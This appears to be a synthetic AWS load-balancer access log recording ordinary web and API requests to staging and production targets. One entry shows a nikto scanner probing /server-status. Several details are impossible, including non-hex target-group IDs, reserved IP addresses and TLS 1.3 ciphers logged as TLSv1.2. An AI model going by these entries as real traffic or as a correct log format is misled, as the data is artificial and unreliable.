arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9e2-44dc0267489e4cbb98594cad" "staging-alb.example.com" "-" 6 2024-11-01T02:26:26.015978Z "forward" "-" "-" "23.250.158.84:8080" "200" "-" "-" -https 2024-11-01T02:26:26.961216Z staging-alb 120.231.226.104:49253 162.71.167.90:80 0.081423 0.292928 0.037260 200 200 310 10326 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9e2-04382233c1e94259aa2f1880" "staging-alb.example.com" "-" 8 2024-11-01T02:26:26.961216Z "forward" "-" "-" "162.71.167.90:80" "200" "-" "-" -http 2024-11-01T02:26:28.066615Z staging-alb 134.249.33.137:39375 205.166.195.195:443 0.090999 0.272513 0.110657 200 200 683 14064 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9e4-1040d206bb5743a9af0cfeb5" "staging-alb.example.com" "-" 8 2024-11-01T02:26:28.066615Z "forward" "-" "-" "205.166.195.195:443" "200" "-" "-" -https 2024-11-01T02:26:28.363678Z staging-alb 187.151.21.76:30405 73.108.144.62:80 0.055083 0.040995 0.036468 301 301 156 3945 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9e4-801a314cf2f14236ae49d36b" "staging-alb.example.com" "-" 6 2024-11-01T02:26:28.363678Z "forward" "-" "-" "73.108.144.62:80" "301" "-" "-" -https 2024-11-01T02:26:29.261700Z staging-alb 222.127.157.113:61388 22.228.197.87:443 0.148719 0.040757 0.074607 200 200 990 14905 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9e5-1b4f06a588554a3181e1c259" "staging-alb.example.com" "-" 1 2024-11-01T02:26:29.261700Z "forward" "-" "-" "22.228.197.87:443" "200" "-" "-" -https 2024-11-01T02:26:31.192313Z prod-web-alb 54.9.1.154:18235 10.0.130.210:443 0.015758 0.155984 0.050038 404 404 586 4897 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9e7-66663a5e6f26406e906678e5" "prod-web-alb.example.com" "-" 0 2024-11-01T02:26:31.192313Z "forward" "-" "-" "10.0.130.210:443" "404" "-" "-" -https 2024-11-01T02:26:33.051496Z prod-web-alb 50.232.120.250:58061 10.0.198.48:443 0.089616 0.420984 0.093310 200 200 160 9301 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9e9-45b91e15621c47e9aee585a0" "prod-web-alb.example.com" "-" 10 2024-11-01T02:26:33.051496Z "forward" "-" "-" "10.0.198.48:443" "200" "-" "-" -https 2024-11-01T02:26:33.689167Z prod-api-alb 51.251.151.120:33712 10.0.26.163:443 0.077457 0.470233 0.000757 200 200 106 6311 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9e9-519aad45e5364a04b049c7ed" "prod-api-alb.example.com" "-" 8 2024-11-01T02:26:33.689167Z "forward" "-" "-" "10.0.26.163:443" "200" "-" "-" -https 2024-11-01T02:26:35.058170Z prod-api-alb 145.196.33.95:48862 10.0.57.97:443 0.001533 0.004928 0.094384 301 301 749 6677 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9eb-bc23cae9a84c46408bdb07ef" "prod-api-alb.example.com" "-" 7 2024-11-01T02:26:35.058170Z "forward" "-" "-" "10.0.57.97:443" "301" "-" "-" -https 2024-11-01T02:26:36.513564Z prod-api-alb 24.144.115.167:55054 10.0.180.222:443 0.001603 0.435432 0.059327 302 302 620 1577 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9ec-17eb922fd50248f7aacd6894" "prod-api-alb.example.com" "-" 9 2024-11-01T02:26:36.513564Z "forward" "-" "-" "10.0.180.222:443" "302" "-" "-" -https 2024-11-01T02:26:37.185575Z prod-web-alb 32.148.242.68:23441 10.0.124.34:443 0.068229 0.145576 0.005171 301 301 776 4590 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9ed-b2bb6819470c4439a51ef623" "prod-web-alb.example.com" "-" 6 2024-11-01T02:26:37.185575Z "forward" "-" "-" "10.0.124.34:443" "301" "-" "-" -https 2024-11-01T02:26:38.234155Z prod-web-alb 249.221.38.194:63944 10.0.57.199:443 0.031828 0.499136 0.051322 200 200 483 5599 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9ee-cbf3760a9a874debb7e0737a" "prod-web-alb.example.com" "-" 7 2024-11-01T02:26:38.234155Z "forward" "-" "-" "10.0.57.199:443" "200" "-" "-" -https 2024-11-01T02:26:38.810450Z prod-api-alb 156.203.147.160:16871 10.0.20.119:443 0.016688 0.293392 0.013262 302 302 429 4631 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9ee-c6545ccee42a4df98890cf0b" "prod-api-alb.example.com" "-" 7 2024-11-01T02:26:38.810450Z "forward" "-" "-" "10.0.20.119:443" "302" "-" "-" -https 2024-11-01T02:26:40.462647Z prod-web-alb 173.187.46.6:48522 10.0.22.117:443 0.028598 0.094117 0.080577 200 200 380 5802 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9f0-530c7228a38e4c8395a021e1" "prod-web-alb.example.com" "-" 0 2024-11-01T02:26:40.462647Z "forward" "-" "-" "10.0.22.117:443" "200" "-" "-" -https 2024-11-01T02:26:42.062537Z prod-web-alb 35.78.25.194:39513 10.0.14.139:443 0.080253 0.435633 0.010600 200 200 125 9883 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9f2-6555cc08c20d4b99972481d1" "prod-web-alb.example.com" "-" 5 2024-11-01T02:26:42.062537Z "forward" "-" "-" "10.0.14.139:443" "200" "-" "-" -https 2024-11-01T02:26:42.234973Z prod-api-alb 251.18.13.150:55644 10.0.140.168:443 0.016296 0.485134 0.074179 404 404 220 12814 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9f2-5524c8001f9d45058638df04" "prod-api-alb.example.com" "-" 9 2024-11-01T02:26:42.234973Z "forward" "-" "-" "10.0.140.168:443" "404" "-" "-" -https 2024-11-01T02:26:42.779146Z prod-web-alb 208.57.10.48:51366 10.0.19.53:443 0.042720 0.313575 0.057328 200 200 59 3123 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9f2-18afc113c5984b509e70051f" "prod-web-alb.example.com" "-" 7 2024-11-01T02:26:42.779146Z "forward" "-" "-" "10.0.19.53:443" "200" "-" "-" -https 2024-11-01T02:26:42.895658Z prod-web-alb 76.182.133.246:26192 10.0.205.65:443 0.059058 0.075147 0.051251 200 200 438 1259 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9f2-409b2563de8e4432bde75890" "prod-web-alb.example.com" "-" 8 2024-11-01T02:26:42.895658Z "forward" "-" "-" "10.0.205.65:443" "200" "-" "-" -https 2024-11-01T02:26:43.767471Z prod-web-alb 124.168.71.106:23126 10.0.178.6:443 0.043382 0.009609 0.072864 200 200 739 5040 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9f3-8e7b229d0e254bfba48e0d75" "prod-web-alb.example.com" "-" 7 2024-11-01T02:26:43.767471Z "forward" "-" "-" "10.0.178.6:443" "200" "-" "-" -https 2024-11-01T02:26:44.849468Z prod-api-alb 80.68.9.140:23161 10.0.246.38:443 0.038623 0.011307 0.033572 200 200 990 758 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9f4-c52830b0b27048cfa4f23f4b" "prod-api-alb.example.com" "-" 6 2024-11-01T02:26:44.849468Z "forward" "-" "-" "10.0.246.38:443" "200" "-" "-" -https 2024-11-01T02:26:45.381614Z prod-api-alb 63.185.13.128:14993 10.0.159.65:443 0.054593 0.352317 0.084634 404 404 318 12597 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9f5-a2509c1514b34d2f9c53febe" "prod-api-alb.example.com" "-" 4 2024-11-01T02:26:45.381614Z "forward" "-" "-" "10.0.159.65:443" "404" "-" "-" -https 2024-11-01T02:26:45.952558Z prod-web-alb 157.37.27.58:26471 10.0.96.183:443 0.003306 0.285008 0.012558 404 404 925 1001 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9f5-2de9640cdb46494fa7cf387f" "prod-web-alb.example.com" "-" 3 2024-11-01T02:26:45.952558Z "forward" "-" "-" "10.0.96.183:443" "404" "-" "-" -https 2024-11-01T02:26:47.871113Z staging-alb 19.86.149.103:59661 15.71.236.138:443 0.104013 0.000127 0.090624 404 404 60 11682 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9f7-d2f3304193084c1da0808371" "staging-alb.example.com" "-" 5 2024-11-01T02:26:47.871113Z "forward" "-" "-" "15.71.236.138:443" "404" "-" "-" -https 2024-11-01T02:26:48.884126Z staging-alb 45.155.205.44:25689 253.63.92.173:8080 0.061247 0.505668 0.114796 500 500 487 4997 "GET /server-status HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9f8-55b696d5a6a94929833cc24b" "-" "-" 7 2024-11-01T02:26:48.884126Z "forward" "-" "-" "253.63.92.173:8080" "500" "-" "-" -https 2024-11-01T02:26:49.039958Z prod-web-alb 29.60.209.10:62382 10.0.255.40:443 0.094562 0.072614 0.022873 200 200 514 12770 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9f9-1bd024bcd5c5405cbc8d4ccf" "prod-web-alb.example.com" "-" 2 2024-11-01T02:26:49.039958Z "forward" "-" "-" "10.0.255.40:443" "200" "-" "-" -https 2024-11-01T02:26:49.602517Z prod-api-alb 49.181.48.229:17047 10.0.46.30:443 0.093491 0.494638 0.041143 302 302 27 13813 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9f9-cdd8d9006f56419f8e1844c6" "prod-api-alb.example.com" "-" 5 2024-11-01T02:26:49.602517Z "forward" "-" "-" "10.0.46.30:443" "302" "-" "-" -https 2024-11-01T02:26:51.027483Z prod-web-alb 62.248.154.3:13176 10.0.164.96:443 0.083217 0.343651 0.035163 200 200 357 9863 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9fb-a1b3a6f70bc54904aaf067f0" "prod-web-alb.example.com" "-" 1 2024-11-01T02:26:51.027483Z "forward" "-" "-" "10.0.164.96:443" "200" "-" "-" -https 2024-11-01T02:26:52.008404Z prod-api-alb 171.202.247.97:27959 10.0.248.192:443 0.030005 0.464668 0.012740 200 200 240 1638 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9fc-77f8f084a4f14741b509c547" "prod-api-alb.example.com" "-" 3 2024-11-01T02:26:52.008404Z "forward" "-" "-" "10.0.248.192:443" "200" "-" "-" -https 2024-11-01T02:26:53.642720Z staging-alb 78.5.188.95:28553 112.41.236.58:443 0.143667 0.415918 0.101441 200 200 905 12507 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9fd-ad7b1eabfc9a4742a84f3ff2" "staging-alb.example.com" "-" 10 2024-11-01T02:26:53.642720Z "forward" "-" "-" "112.41.236.58:443" "200" "-" "-" -https 2024-11-01T02:26:54.960793Z staging-alb 172.29.81.20:47821 120.103.5.42:443 0.109856 0.417051 0.047525 302 302 770 3421 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9fe-1549c54d7b6148f89e3cec50" "staging-alb.example.com" "-" 8 2024-11-01T02:26:54.960793Z "forward" "-" "-" "120.103.5.42:443" "302" "-" "-" -https 2024-11-01T02:26:55.837222Z staging-alb 241.178.225.26:31151 219.249.85.232:8080 0.022042 0.161561 0.037417 200 200 222 10859 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9ff-6ebe582126e34133bda0357a" "staging-alb.example.com" "-" 10 2024-11-01T02:26:55.837222Z "forward" "-" "-" "219.249.85.232:8080" "200" "-" "-" -http 2024-11-01T02:26:56.372574Z staging-alb 248.201.174.234:22116 212.30.122.7:80 0.043414 0.568811 0.067958 200 200 787 5646 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da00-eaadca622ba142d6b0b5b971" "staging-alb.example.com" "-" 5 2024-11-01T02:26:56.372574Z "forward" "-" "-" "212.30.122.7:80" "200" "-" "-" -https 2024-11-01T02:26:58.321036Z staging-alb 224.130.129.125:36128 177.68.202.235:443 0.007523 0.718834 0.121858 200 200 362 11974 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da02-d48249f2febe4ab19c2ead07" "staging-alb.example.com" "-" 8 2024-11-01T02:26:58.321036Z "forward" "-" "-" "177.68.202.235:443" "200" "-" "-" -https 2024-11-01T02:26:59.281782Z staging-alb 36.29.5.176:20072 251.134.114.167:80 0.092053 0.375297 0.070676 200 200 481 12017 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da03-63b80d7906fc4d1fa71b8fff" "staging-alb.example.com" "-" 2 2024-11-01T02:26:59.281782Z "forward" "-" "-" "251.134.114.167:80" "200" "-" "-" -https 2024-11-01T02:27:00.185470Z prod-web-alb 181.230.248.78:37773 10.0.197.115:443 0.025704 0.077458 0.035835 301 301 882 5622 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da04-ac56247aa48d419b929023ce" "prod-web-alb.example.com" "-" 5 2024-11-01T02:27:00.185470Z "forward" "-" "-" "10.0.197.115:443" "301" "-" "-" -https 2024-11-01T02:27:00.805819Z prod-web-alb 205.169.226.75:23853 10.0.46.172:443 0.015675 0.078831 0.003165 200 200 919 11651 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da04-3c9877a82b134eb1b2e60e84" "prod-web-alb.example.com" "-" 3 2024-11-01T02:27:00.805819Z "forward" "-" "-" "10.0.46.172:443" "200" "-" "-" -https 2024-11-01T02:27:02.046957Z staging-alb 172.97.184.170:35585 171.187.205.163:80 0.134284 0.106835 0.142064 200 200 723 14414 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da06-b699395b266b4abb9a4aa854" "staging-alb.example.com" "-" 0 2024-11-01T02:27:02.046957Z "forward" "-" "-" "171.187.205.163:80" "200" "-" "-" -https 2024-11-01T02:27:02.677928Z prod-api-alb 113.247.188.215:19414 10.0.135.150:443 0.033436 0.008190 0.075224 200 200 741 3498 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da06-8e682cac4d6442ae91ea3b44" "prod-api-alb.example.com" "-" 10 2024-11-01T02:27:02.677928Z "forward" "-" "-" "10.0.135.150:443" "200" "-" "-" -https 2024-11-01T02:27:03.403817Z prod-api-alb 248.39.58.87:63344 10.0.162.141:443 0.075019 0.436656 0.074149 200 200 594 7244 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da07-64910f65c37946928f65b607" "prod-api-alb.example.com" "-" 7 2024-11-01T02:27:03.403817Z "forward" "-" "-" "10.0.162.141:443" "200" "-" "-" -http 2024-11-01T02:27:04.375967Z staging-alb 69.103.49.29:32408 179.39.101.185:443 0.060352 0.415832 0.111949 404 404 380 5521 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da08-e5d387abfdf9447f8197681e" "staging-alb.example.com" "-" 8 2024-11-01T02:27:04.375967Z "forward" "-" "-" "179.39.101.185:443" "404" "-" "-" -https 2024-11-01T02:27:04.540190Z staging-alb 112.221.226.165:21286 110.65.210.203:443 0.036792 0.440482 0.086380 200 200 754 4619 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da08-fe79c4fb623b4014a6f9c209" "staging-alb.example.com" "-" 6 2024-11-01T02:27:04.540190Z "forward" "-" "-" "110.65.210.203:443" "200" "-" "-" -http 2024-11-01T02:27:06.534814Z staging-alb 104.242.120.76:57940 99.157.220.150:8080 0.114210 0.594467 0.079372 200 200 95 13328 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da0a-bb6e5f3f0c744027a575a52e" "staging-alb.example.com" "-" 4 2024-11-01T02:27:06.534814Z "forward" "-" "-" "99.157.220.150:8080" "200" "-" "-" -https 2024-11-01T02:27:08.254529Z prod-api-alb 219.210.1.101:31145 10.0.192.237:443 0.010978 0.206738 0.088392 200 200 141 8846 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da0c-a37a90c201ce4810910fcca8" "prod-api-alb.example.com" "-" 10 2024-11-01T02:27:08.254529Z "forward" "-" "-" "10.0.192.237:443" "200" "-" "-" -https 2024-11-01T02:27:09.322110Z prod-web-alb 18.21.117.74:56133 10.0.58.71:443 0.074573 0.412730 0.021194 200 200 103 12775 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da0d-b5dd0d8963be48e089ebb250" "prod-web-alb.example.com" "-" 6 2024-11-01T02:27:09.322110Z "forward" "-" "-" "10.0.58.71:443" "200" "-" "-" -https 2024-11-01T02:27:09.897866Z staging-alb 233.80.22.141:10287 94.233.177.204:80 0.147545 0.208534 0.093809 200 200 810 12049 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da0d-9d96a40b19fa4be98862b33d" "staging-alb.example.com" "-" 3 2024-11-01T02:27:09.897866Z "forward" "-" "-" "94.233.177.204:80" "200" "-" "-" -http 2024-11-01T02:27:11.020448Z staging-alb 8.190.154.181:39245 216.59.81.250:80 0.010110 0.009545 0.077383 302 302 784 3975 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da0f-dca54e893cf84a2d80a43151" "staging-alb.example.com" "-" 10 2024-11-01T02:27:11.020448Z "forward" "-" "-" "216.59.81.250:80" "302" "-" "-" -https 2024-11-01T02:27:11.327123Z prod-web-alb 168.195.228.101:36933 10.0.129.3:443 0.051631 0.005356 0.091155 404 404 9 3094 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da0f-4d8d00bf94fa46589eeaef60" "prod-web-alb.example.com" "-" 4 2024-11-01T02:27:11.327123Z "forward" "-" "-" "10.0.129.3:443" "404" "-" "-" -https 2024-11-01T02:27:12.439665Z prod-api-alb 183.213.170.7:32330 10.0.99.64:443 0.023047 0.427438 0.052161 200 200 769 6106 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da10-b458afffe13a44e7a05a2cec" "prod-api-alb.example.com" "-" 10 2024-11-01T02:27:12.439665Z "forward" "-" "-" "10.0.99.64:443" "200" "-" "-" -https 